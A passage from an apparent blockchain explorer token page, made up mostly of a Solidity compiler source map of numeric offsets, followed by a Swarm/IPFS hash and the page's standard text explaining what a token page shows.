69:0;;5505:2:1;5658:69:0;;;5487:21:1;5544:2;5524:18;;;5517:30;5583:29;5563:18;;;5556:57;5630:18;;5658:69:0;5303:351:1;5658:69:0;5738:58;5753:10;5765:15;5782:13;5738:14;:58::i;1934:281::-;1201:6;;-1:-1:-1;;;;;1201:6:0;339:10;1201:22;1193:67;;;;-1:-1:-1;;;1193:67:0;;4872:2:1;1193:67:0;;;4854:21:1;;;4891:18;;;4884:30;4950:34;4930:18;;;4923:62;5002:18;;1193:67:0;4670:356:1;1193:67:0;-1:-1:-1;;;;;2037:22:0;::::1;2015:110;;;::::0;-1:-1:-1;;;2015:110:0;;5861:2:1;2015:110:0::1;::::0;::::1;5843:21:1::0;5900:2;5880:18;;;5873:30;5939:34;5919:18;;;5912:62;-1:-1:-1;;;5990:18:1;;;5983:36;6036:19;;2015:110:0::1;5659:402:1::0;2015:110:0::1;2162:6;::::0;;2141:38:::1;::::0;-1:-1:-1;;;;;2141:38:0;;::::1;::::0;2162:6;::::1;::::0;2141:38:::1;::::0;::::1;2190:6;:17:::0;;-1:-1:-1;;;;;;2190:17:0::1;-1:-1:-1::0;;;;;2190:17:0;;;::::1;::::0;;;::::1;::::0;;1934:281::o;4162:1149::-;4294:13;;4283:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;4283:42:0;;;;;;;;;;;;4278:266;;4353:13;;;4342:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;4342:42:0;;;;;;;;;:49;;-1:-1:-1;;4342:49:0;4387:4;4342:49;;;;;;4418:13;;:17;;4387:4;;4418:17;:::i;:::-;4410:26;;;;;;;;;;;;;;-1:-1:-1;4410:26:0;;;-1:-1:-1;;;;;4410:43:0;;;;;;;;;;:48;4406:126;;4520:12;;4485:13;;4477:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;4477:39:0;;;;;;;;;:55;;:39;;:22;:55;;4520:12;;4477:55;:::i;:::-;;;;-1:-1:-1;;4406:126:0;4572:13;;4561:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;4561:42:0;;;;;;;;;;;;4556:266;;4631:13;;;4620:25;;;;:10;:25;;;;;;;;-1:-1:-1;;;;;4620:42:0;;;;;;;;;:49;;-1:-1:-1;;4620:49:0;4665:4;4620:49;;;;;;4696:13;;:17;;4665:4;;4696:17;:::i;:::-;4688:26;;;;;;;;;;;;;;-1:-1:-1;4688:26:0;;;-1:-1:-1;;;;;4688:43:0;;;;;;;;;;:48;4684:126;;4798:12;;4763:13;;4755:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;4755:39:0;;;;;;;;;:55;;:39;;:22;:55;;4798:12;;4755:55;:::i;:::-;;;;-1:-1:-1;;4684:126:0;-1:-1:-1;;;;;4838:30:0;;;;;;:13;:30;;;;;;:35;;4834:124;;4898:13;;4890:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;4890:39:0;;;;;;;;;:56;;4933:13;;4890:22;:56;;4933:13;;4890:56;:::i;:::-;;;;-1:-1:-1;;4834:124:0;4976:13;;4968:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;4968:39:0;;;;;;;;;:56;;5011:13;;4968:22;:56;;5011:13;;4968:56;:::i;:::-;;;;-1:-1:-1;;5067:10:0;5081:1;5053:25;;;:13;:25;;;;;;:29;;;;:51;;-1:-1:-1;5086:18:0;;5053:51;:85;;;;-1:-1:-1;5127:11:0;;-1:-1:-1;;;;;5108:30:0;;;5127:11;;;;;5108:30;;5053:85;5035:196;;;5207:12;;5173:13;;5165:22;;;;:7;:22;;;;;;;;-1:-1:-1;;;;;5165:39:0;;;;;;;;;:54;5035:196;5272:15;-1:-1:-1;;;;;5246:57:0;5255:15;-1:-1:-1;;;;;5246:57:0;;5289:13;5246:57;;;;1342:25:1;;1330:2;1315:18;;1196:177;5246:57:0;;;;;;;;4162:1149;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:127::-;2360:10;2355:3;2351:20;2348:1;2341:31;2391:4;2388:1;2381:15;2415:4;2412:1;2405:15;2431:1189;2524:6;2532;2585:2;2573:9;2564:7;2560:23;2556:32;2553:52;;;2601:1;2598;2591:12;2553:52;2637:9;2624:23;2614:33;;2666:2;2719;2708:9;2704:18;2691:32;2742:18;2783:2;2775:6;2772:14;2769:34;;;2799:1;2796;2789:12;2769:34;2837:6;2826:9;2822:22;2812:32;;2882:7;2875:4;2871:2;2867:13;2863:27;2853:55;;2904:1;2901;2894:12;2853:55;2940:2;2927:16;2962:2;2958;2955:10;2952:36;;;2968:18;;:::i;:::-;3014:2;3011:1;3007:10;3046:2;3040:9;3109:2;3105:7;3100:2;3096;3092:11;3088:25;3080:6;3076:38;3164:6;3152:10;3149:22;3144:2;3132:10;3129:18;3126:46;3123:72;;;3175:18;;:::i;:::-;3211:2;3204:22;3261:18;;;3295:15;;;;-1:-1:-1;3337:11:1;;;3333:20;;;3365:19;;;3362:39;;;3397:1;3394;3387:12;3362:39;3421:11;;;;3441:148;3457:6;3452:3;3449:15;3441:148;;;3523:23;3542:3;3523:23;:::i;:::-;3511:36;;3474:12;;;;3567;;;;3441:148;;;3608:6;3598:16;;;;;;;;2431:1189;;;;;:::o;3625:260::-;3693:6;3701;3754:2;3742:9;3733:7;3729:23;3725:32;3722:52;;;3770:1;3767;3760:12;3722:52;3793:29;3812:9;3793:29;:::i;:::-;3783:39;;3841:38;3875:2;3864:9;3860:18;3841:38;:::i;:::-;3831:48;;3625:260;;;;;:::o;3890:380::-;3969:1;3965:12;;;;4012;;;4033:61;;4087:4;4079:6;4075:17;4065:27;;4033:61;4140:2;4132:6;4129:14;4109:18;4106:38;4103:161;;4186:10;4181:3;4177:20;4174:1;4167:31;4221:4;4218:1;4211:15;4249:4;4246:1;4239:15;4103:161;;3890:380;;;:::o;4275:127::-;4336:10;4331:3;4327:20;4324:1;4317:31;4367:4;4364:1;4357:15;4391:4;4388:1;4381:15;4407:128;4474:9;;;4495:11;;;4492:37;;;4509:18;;:::i;4540:125::-;4605:9;;;4626:10;;;4623:36;;;4639:18;;:::i;5031:135::-;5070:3;5091:17;;;5088:43;;5111:18;;:::i;:::-;-1:-1:-1;5158:1:1;5147:13;;5031:135::o;5171:127::-;5232:10;5227:3;5223:20;5220:1;5213:31;5263:4;5260:1;5253:15;5287:4;5284:1;5277:15

Swarm Source

ipfs://c8107cc61574abf75c2d2cad261b6aa5cf17c4b6a5715e9c478fe8f114e09181
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.